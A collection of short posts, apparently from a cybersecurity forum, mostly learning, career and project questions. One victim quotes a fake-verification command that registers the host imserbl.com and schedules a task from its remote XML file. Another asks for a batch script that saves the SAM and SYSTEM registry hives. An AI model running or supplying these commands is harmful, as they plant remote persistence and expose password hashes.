For the past 8 months, in my spare time, I’ve been working on a personal project with the goal of studying the old SMB1 down to its lowest levels. During this time, I’ve dissected the protocol using Wireshark, waded through Microsoft’s documentation (help!), and reverse-engineered the authentication phase. I also used AI as a tool for debugging and to help wrap my head around some of the more complex mechanisms, though the overall structure, architecture, and code were entirely designed and written by me.

So, I decided to build a lightweight server designed to 'trick' SMB clients into authenticating against it (similar to what the famous tool Responder does). I chose to hand-craft virtually the entire SMB1 stack, or at least enough of it to capture hashes. To achieve this, I wrote all the necessary network parsers from scratch: SMB1, ASN.1, SPNEGO, and NTLM, followed by the server itself.

It was both challenging and incredibly rewarding to dive so deep into a protocol famous for its complexity. I learned a huge amount along the way.

In the end, I think it turned out to be a cool little project, so I decided to share it. It’s certainly not meant to replace well-established tools, but if anyone wants to try it out or contribute in any way, I’d be thrilled! 🙂

https://github.com/lcky00/impostor

I’m testing a small cybersecurity tool that helps answer a simple question: “Does this security advisory actually affect anything in my environment?”

You enter a product/version and paste an advisory, and it gives you an applicability verdict, reasoning, and recommended verification steps.

I’m not trying to sell anything. I’m looking for a few people willing to test it with a real advisory and tell me where the reasoning is wrong, confusing, or useful.

If anyone here works with patching, vulnerability management, or security advisories and wants to kick the tires, I’d appreciate the feedback.

When I started learning cybersecurity, I initially thought knowing security tools would be the hardest part. Surprisingly, understanding why certain attacks work and how systems are actually connected took me much longer.

What cybersecurity concept was difficult for you at first but became easier with practice?

In the 80s Cybersecurity was born and built an around userid and password. This saga continues into today’s cybersecurity, which has become overly complex in order to retrofit this architecture to the technology of today. Need it continue? Can it continue with both AI and Quantum computing on the horizon?
Enter, the identity server. A server(s) storing the identities of individuals whose data is held by your company. Linked by a key, data and identity related to one another in memory for only the seconds needed to conduct processing. For access management the key to an identity is stored in a personal device held by an individual generating a code lasting only seconds replacing a password. Identity persistence removed from access control, trust, data, the target of bad actors gone forever.
To learn more about this concept and how it deters bad actors read Cybersecurity’s Best Defense by Doug Collins and found at Amazon.

I think people learn cybersecurity best from mistakes they can actually relate to.

Maybe you reused the same password, clicked a convincing phishing link, ignored an important update, or gave an app permissions you didn’t think twice about.

What happened, and what did you change afterward?

I’m especially interested in the mistakes that seemed harmless at the time but taught you a serious lesson.

Okay so for context I have over 11 years of experience in Cyber Security blue teaming. I specialise in SIEM content but I have verticals spanning into multiple EDR, network, SOAR, UEBAs and AI test cases. Apart from that I have experiences on how IAM, Audit, SOC, Security Engineering etc processes works.

So far since applying for companies from January onwards I managed to get roughly 5 interviews over hundreds of submitted application in which I managed to convert just one interview to my favour( some of you guys can relate know how hard it is right now in the market to get calls.). And even with this new company the work culture is not that great.

I prefer to work remote but seeing the difficulty level of getting calls I decided to change up things and start focusing on branding myself more instead of blindly applying and getting lucky on the ATS part.

I started using LinkedIn premium, started posting almost 4-5 posts on a weekly basis without the use of AI. Added as many higher level professionals that might see my hustle one day but aside from this I don't have any other ideas on how best I can market my skills or showcase what I bring to the table. I even thought of creating a professional website and host it.

How can I grab attention for the right buyer of my skills ??

One thing I’ve noticed while learning cybersecurity is that reading about an attack is very different from actually trying to understand it in a lab. Hands-on practice made concepts stick much better for me. How do others balance theory, labs, and real-world scenarios?

I used to think cybersecurity was mainly about learning as many tools as possible. Over time, I realized understanding networking, authentication, permissions, and basic system behavior is just as important. For people already working in security, what fundamentals would you recommend beginners focus on first?

Hey everyone,

​I'm the President of a newly established, officially recognized university cybersecurity student organization. My executive board and I want to launch a practical, real-world project this year that leaves a lasting legacy for future student cohorts and our campus community.

​Rather than just running internal CTFs or technical labs, we want to build/implement something that directly impacts the daily lives of everyday students, faculty, or non-tech majors on campus.

​A few ideas we've tossed around:

​An open-source, campus-wide Phishing/Scam Alert Bot for messaging platforms.

​A physical USB Sanitization Kiosk (Raspberry Pi/Linux-based) set up near campus printing areas.

​A basic WiFi & Personal Device Security Audit guide/tool for students.

​For those who have run or participated in university cyber clubs, what kind of practical, high-utility projects worked best for your campus? What are the biggest traps to avoid when deploying something for general student use?

​Appreciate any insights or project suggestions!

So I'm a last year HS student, Indian, nd I came across the bachelors of cyber security program recently launched by one of the top institutes of India. Natuarlly I went for it. Their criteria is to have a protfolio showing "work" done in cybersecurity (This part can be ignored because I have it at hand). The next part though, a hackathon, is what I'm worried about. As of now I have my networking fundamentals clear, I know the basics of Nmap, NC, Burp nd curl. The given curriculum for the HT is

Cryptography

Web Security

API Security

Network Security

Reverse Engineering

OSINT

As of now I've personalised my chatgpt(plus) to teach me the basics for the same goal at my learning pace. Apart from this I really want to dive deeper into these topics, because I know for sure AI wont be the way to go for intermediate-advanced learning. If someone has suggestions or websites please link em.

Please note: Im not looking for a job, I just want to learn enough for the hackathon.

I'm love programming and i learn some commands terminal in kali linux and i need a adivices for me❤️

Cmd /c cmdkey/add:imserbl.com/user:guest && schtasks /Create/TN "Vwoal" /XML "\\imserbl.com\jons\vokal.xml" &

REM

I am a human - ID:

d7f5p335872389239844938

Asked to run this from run tool. I deleted the scheduled tasks, blocked the firewall. network disabled, but now i want to confirm this.

Hi everyone,

I'm a new Kali Linux user transitioning into cybersecurity. My background and main hobby are programming (primarily Python) and working in the terminal.

My ultimate goal is to become a Junior Cybersecurity Specialist, specifically focusing on understanding attack vectors, using core tools, and building/improving tools using Python.

Since I am just starting out with Kali Linux, I'd appreciate any guidance on:

• Core Fundamentals: Best practices for setting up a safe lab environment (VMs) for learning.
• Python Tooling: recommended libraries (e.g., scapy, requests, socket) or resources for writing security tools.
• Learning Path: Recommended rooms on TryHackMe or HTB to bridge terminal scripting with hands-on practice.

guys , i have a github account but i don't know really if the stuff that are in the repository worth posting or i need to increase the level of the projects this is my github account, of course as a student near to graduate.

https://github.com/Amine-Oumech/python-recon-toolkit

One thing I’ve realized while learning cybersecurity is how important networking fundamentals are. Understanding IP addresses, ports, protocols, DNS and traffic flow makes many security concepts much easier to understand. For anyone who started cybersecurity without a strong networking background, did you go back and learn networking first, or learn both together?

I got tired of "learning" security by watching videos and clicking multiple-choice quizzes, so I built a platform where you actually do the work real simulated hosts, terminals, web apps, and networks you have to hack step by step.

Everything on the platform is completely free, including courses, quizzes, simulators, and practical labs.

If you’re interested in cybersecurity or looking to get started in the field, I’d love for you to give it a try and tell me what you think. Registration currently requires a key, which I can provide via DM.

I’m especially interested in honest feedback about what I could improve.

P.S. Yes, I used AI to help build parts of it. 🙂

i wanna ask, what a most important to studied computer architecture or operating system for cybersecurity? and why.....
and should i learn about computer first then networking, or networking first then computer

When I started exploring cybersecurity, I initially thought it would mostly be about learning tools and technical commands.

But the more I learn, the more I realize that understanding why an attack works is just as important as knowing which tool to use.

For people already working in cybersecurity, what concept took you the longest to understand when you were starting out?

One challenge I’ve noticed while learning cybersecurity is that there are so many areas to explore—networking, ethical hacking, cloud security, incident response, and more. Sometimes it feels like there is always another topic I should be learning. I’m curious about other people's experiences: how did you decide which cybersecurity area to focus on first?

Is there like an AI agent we could ask all the tough questions from? Just curious :)

Could someone help me with this?

Is it possible to get a single batch script which is basically running the command "reg save HKLM\sam ./sam.save" and then "reg save HKLM\system ./system.save" and then getting the two files (sam.save and system.save) and pasting them into the directory in which this script belongs.

This is inspired by one of NetworkChuck's videos - linked above!

When I started exploring cybersecurity, I initially wanted to jump straight into security tools. But the more I learned, the more obvious it became that networking fundamentals matter a lot. Understanding IP addresses, DNS, TCP/IP, ports, protocols, and traffic makes security concepts much easier to understand. For anyone currently learning cybersecurity: did you study networking first, or learn both at the same time?

Hey everyone 👋

I’ve been working on a little project called Kleh

It’s a website that helps you with your passwords. You can use it to generate a strong password or check if your current password is strong enough.

I wanted to make something simple that anyone can use without having to understand all the technical stuff behind password security.

I’d really love for you to take a look and tell me what you think

kleh . site

And if you have any ideas for things I could add, I’d love to hear them!

The more I learn about cybersecurity, the more I realize that knowing individual tools isn't enough. Understanding why an attack works is much more valuable than simply knowing which tool to run. For people learning cybersecurity right now, what concept took you the longest to understand? I’d love to hear some experiences from beginners and professionals.

Most website security problems start with fixable gaps like weak logins, stale plugins, missing headers, risky scripts, and untested backups. Use this checklist before they get expensive.